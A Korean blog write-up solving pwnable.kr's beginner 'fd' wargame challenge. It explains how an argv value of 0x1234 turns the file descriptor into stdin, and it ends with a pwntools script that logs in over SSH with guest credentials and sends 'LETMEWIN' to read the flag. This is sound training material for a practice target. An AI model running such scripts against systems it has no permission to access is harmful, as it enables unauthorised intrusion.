Wargame/Pwnable.kr

[Toddler's Bottle] - fd

Anatis 2021. 3. 26. 00:12

이번문제는 Pwnable.kr의 첫 번째 문제인 fd이다. 접속 정보를 주기 때문에 ssh로 접속을 해보자.

 

접속을하여 ls 명령어로 확인해보면 fd, fd.c, flag 3개의 파일이 존재하는데 flag파일을 읽어볼려고하니

Permission denied가 출력된다. 권한이 없어서 그런것이다. fd.c를 확인해보자

buf가 전역변수로 할당되어있고 argv[1]을 입력받은 값을 정수형으로 변환해 0x1234와 빼준 값을 fd로 받는다.

밑에 보면 read함수가 보이는데 첫 번째 인자인 fd는 파일 디스크립터이다. 리눅스 파일 디스크립터는 표준 입력 0(stdin),

표준 출력 1(stdout), 표준 에러 2(stderr)이 있다. 우리가 buf에 입력을 받을려면 fd의 자리에 0이 되어야 한다.

그렇다면 위에 atoi(argv[1]) - 0x1234가 0이 되어야 한다는 것이다. 그리고 입력을 LETMEWIN\n을 입력하면 flag파일을 볼 수 있다.

 

from pwn import *

user = 'fd'
host = 'pwnable.kr'
port = 2222
password = 'guest'
argv = 0x1234

s = ssh(user, host, port, password)
p = s.process(['./fd', str(argv)])

p.sendline('LETMEWIN')

p.interactive()